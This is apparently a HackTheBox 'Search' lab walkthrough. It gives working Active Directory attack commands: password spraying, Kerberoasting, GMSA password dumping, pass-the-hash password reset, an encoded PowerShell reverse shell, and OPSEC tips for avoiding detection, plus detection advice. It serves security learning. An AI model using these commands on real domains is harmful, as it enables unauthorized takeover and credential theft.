HTB Search Walktrough – GMSA, Kerberoast and AD Certificate

Search is a Windows machine running on HackTheBox (HTB), although I'd classify it as medium, built entirely on Active Directory. The truth is, it's initially difficult to know where to start—the site looks like a generic corporate site, there are numerous exposed services, and the first few hours are spent going in circles. The path covers Kerberoasting, password spray, an Excel file with a hidden column, GMSA abuse, and targeted Kerberoasting. There are two distinct paths to root—we'll analyze both.

Reconnaissance #

bash

mynmap 10.129.229.57

Classic Domain Controller signature: ports 53, 88, 389, 445, 636, 3268, 3269, 9389. The TLS certificate on 443 has CN research —let's add immediately research.search.htb to hosts. Port 8172 is IIS WebDeploy, not certsrv as you might think.

text

10.129.229.57  search.htb research.search.htb

The Confused Phase – Initial Enumeration #

The site http://search.htb It's a corporate website with employee photos, generic text, and no visible login form. First impression: nothing useful.

I take the names of the people visible on the page and build a list of possible usernames according to the scheme firstname.lastname, then I check with kerbrute:

bash

kerbrute userenum -d search.htb --dc 10.129.229.57 user.txt
# [+] VALID USERNAME: keely.lyons@search.htb
# [+] VALID USERNAME: dax.santiago@search.htb
# [+] VALID USERNAME: sierra.frye@search.htb

Three valid users. Good—but without a password, we're going nowhere. Attempted AS-REP Roasting with GetNPUsers: none of the three have pre-auth disabled. Password spray with shared credentials: nothing.

At this stage I also attempted to explore the ADCS surface — the certifier scanner identifies ESC8 (Web Enrollment over HTTP without Channel Binding). I tried relaying with ntlmrelayx to http://search.htb/certsrv/certfnsh.asp --adcs Combined with PetitPotam for coercion. The relay received connections but did not produce certificates—probable bug in impacket 0.13.1 in handling the full URL path in ADCS mode. This path has been abandoned. For the theoretical operation of the attack: ESC8 – NTLM Relay to ADCS.

The turning point comes when you look more closely at the site. Not the text—the images . In the carousel, there's a photo with an open agenda. If you read carefully, you can make out:

Send password to Hope Sharp
IsolationIsKey?

Clear credentials in a public photo. The username scheme is firstname.lastname:

bash

nxc smb 10.129.229.57 -u hope.sharp -p 'IsolationIsKey?'
# [+] search.htb\hope.sharp:IsolationIsKey?

User Enumeration and Password Spray #

With hope.sharp authenticated we enumerate all users of the domain:

bash

nxc smb 10.129.229.57 -u hope.sharp -p 'IsolationIsKey?' --users

We get the complete list of AD accounts. Password spray with the password found in the image on all the enumerated users:

bash

nxc smb 10.129.229.57 -u users.txt -p 'IsolationIsKey?' --continue-on-success

No other account reuses that password. Let's move on to Kerberoasting.

Kerberoasting – web_svc #

With valid credentials, we launch GetUserSPNs:

bash

GetUserSPNs.py 'search.htb/hope.sharp:IsolationIsKey?' -request -dc-ip 10.129.229.57

TGS hash for web_svcCracking:

bash

hashcat -m 13100 web_svc.hash /usr/share/wordlists/rockyou.txt
# web_svc:@3ONEmillionbaby

web_svc is described as “Temp Account created by HelpDesk”The password has been reused by its creator. Password spraying HelpDesk group members:

bash

nxc smb 10.129.229.57 -u helpdesk_users.txt -p '@3ONEmillionbaby'
# [+] search.htb\Edgar.Jacobs:@3ONEmillionbaby

Excel – Phishing_Attempt.xlsx and the Hash Bypass #

On the share RedirectedFolders$ including Edgar.Jacobs are Phishing_Attempt.xlsx on the Desktop. The "Passwords 01082020" sheet has column C hidden and password-protected.

First attempt: extract the hash and crack it with hashcat.

bash

unzip -d phis_extract Phishing_Attempt.xlsx

In the file xl/worksheets/sheet2.xml we find the protection tag:

xml

<sheetProtection algorithmName="SHA-512" 
  hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+..." 
  saltValue="U9oZfaVCkz5jWdhs9AA8nA==" 
  spinCount="100000"/>

Let's build the hash for mode 25300 and run hashcat:

bash

hashcat -m 25300 hash.txt /usr/share/wordlists/rockyou.txt
# → zero risultati

Rockyou doesn't crack the hash. But here's the crux: Sheet protection in Excel does not encrypt data — it only hides itThe content remains in the internal XML files. We read it directly. sharedStrings.xml:

bash

batcat xl/sharedStrings.xml

The passwords are there, in clear text, in the XML:

text

$$49=wide=STRAIGHT=jordan=28$$18
;;36!cried!INDIA!year!50;;
..10-time-TALK-proud-66..
??47^before^WORLD^surprise^91??
[...]

The hidden column didn't need to be cracked—just read the source file. Password spray with the extracted username:password pairs:

bash

nxc smb 10.129.229.57 -u users.txt -p passwords.txt --no-bruteforce --continue-on-success
# [+] search.htb\Sierra.Frye:$$49=wide=STRAIGHT=jordan=28$$18

User flag in the share of Sierra.Frye.

Escalation – The BloodHound Chain #

BloodHound shows the path to the Domain Admin:

text

Sierra.Frye → BIRMINGHAM-ITSEC → ITSEC → ReadGMSAPassword → BIR-ADFS-GMSA$
BIR-ADFS-GMSA$ → GenericAll → Tristan.Davies → Domain Admins

Path 1 (the one I used) – GMSA + Targeted Kerberoast + pth-net #

Dump GMSA password:

bash

nxc ldap 10.129.229.57 -u sierra.frye -p '$$49=wide=STRAIGHT=jordan=28$$18' --gmsa
# BIR-ADFS-GMSA$  NTLM: e1e9fd9e46d0d747e1595167eedcec0f

PTH Check:

bash

nxc smb 10.129.229.57 -u 'BIR-ADFS-GMSA$' -H e1e9fd9e46d0d747e1595167eedcec0f
# [+] (Pwn3d! sulla macchina locale, non ancora DA)

Targeted Kerberoast on Tristan.Davies:

With GenericAll We can set an arbitrary SPN on the account, request the TGS, and immediately remove it. This is Targeted Kerberoasting—we don't wait for a Kerberoastable account, we create it ourselves:

bash

targetedKerberoast.py -v -d 'search.htb' -u 'BIR-ADFS-GMSA$' -H 'e1e9fd9e46d0d747e1595167eedcec0f'

The tool prints the TGS hash of Tristan.DaviesAttempted to crack with John and Rockyou — zero results, password not in the dictionary.

No need to crack it. GenericAll It allows us to reset your password directly:

bash

pth-net rpc password "Tristan.Davies" "Hackita1@" \
  -U "search.htb"/"BIR-ADFS-GMSA$"%"ffffffffffffffffffffffffffffffff":"e1e9fd9e46d0d747e1595167eedcec0f" \
  -S "research.search.htb"

bash

nxc smb 10.129.229.57 -u 'Tristan.Davies' -p 'Hackita1@' -x 'powershell -e JABFAHIAcgBvAHIAVgBpAGUAdwA9ACIATgBvAHIAbQBhAG..'
# [+] search.htb\Tristan.Davies:Hackita1@ (Pwn3d!)

Shell with reverse shell via nxc -x and Domain Admin reached.

Path 2 (alternative, the intended one) – PFX Certificate + PowerShell Web Access #

In the share of Sierra.Frye, below Downloads\Backups, there are two certificates:

text

search-RESEARCH-CA.p12
staff.pfx

Both password protected. Hashed with pfx2john, cracked with john:

bash

pfx2john staff.pfx > staff.hash
john --wordlist=/usr/share/wordlists/rockyou.txt staff.hash
# misspissy

We import both into Firefox with password misspissy. visiting https://search.htb/staff (HTTPS required) The browser asks for the client certificate. We select the imported one - a page opens. PowerShell Web Access.

Login as Sierra.Frye, computer name research. Remote PowerShell shell in browser. From there, dump GMSA and reset password in native PowerShell:

powershell

$gmsa = Get-ADServiceAccount -Identity 'BIR-ADFS-GMSA' -Properties 'msDS-ManagedPassword'
$SecPass = (ConvertFrom-ADManagedPasswordBlob $gmsa.'msDS-ManagedPassword').SecureCurrentPassword
$cred = New-Object System.Management.Automation.PSCredential 'BIR-ADFS-GMSA$', $SecPass
Invoke-Command -ComputerName 127.0.0.1 -ScriptBlock {
    Set-ADAccountPassword -Identity tristan.davies -reset `
    -NewPassword (ConvertTo-SecureString -AsPlainText 'Hackita1@' -force)
} -Credential $cred

Same end result — Domain Admin.

MITRE ATT & CK #

Technology	ID
Valid Accounts	T1078
Kerber-roasting	T1558.003
Targeted Kerberoasting	T1558.003
Password Spraying	T1110.003
Unsecured Credentials in Files	T1552.001
GMSA Password Read	T1555
Account Manipulation – Password Reset	T1098.001
Pass the Hash	T1550.002

OPSEC #

Kerber-roasting: Generates visible TGS requests (Event ID 4769). Prefer accounts with RC4 disabled to reduce detectability.
Password spray: use delay between retries to avoid triggering lockout policies — the default limit in AD is often 5 retries.
pth-net password reset: noisy operation — generates Event ID 4723/4724. In a real-world engagement, prefer direct permission abuse without permanent changes where possible.
Targeted Kerberoast: The tool adds and removes the SPN automatically, but the change is logged (Event ID 4742). The exposure window is short, but it exists.
GMSA dump via LDAP: less noisy, but visible in LDAP logs if monitoring is enabled.

Detection #

Event ID 4769 with encryption type 0x17 (RC4): possible Kerberoasting in progress.
Event ID 4724/4723: Reset passwords of privileged accounts from unusual or out-of-hours accounts.
Event ID 4742: SPN added and removed in seconds on the same account = Targeted Kerberoast signal.
LDAP access to msDS-ManagedPassword: trackable via SACL on the attribute — rarely configured by default.
Monitor certsrv access from unauthorized IPs and anomalous enrollment requests.

Conclusions #

Search teaches us something important: data is often accessible even when it appears protected. The hidden Excel column had an uncrackable SHA-512 hash—but the passwords were still there, in the underlying XML, readable without cracking anything. Protecting an Excel spreadsheet isn't encryption.

The GMSA + pth-net path is more direct and does not require bypassing the PFX. Both paths converge on the same privilege abuse. ReadGMSAPassword — BloodHound exposes a chain that would otherwise require hours of manual enumeration.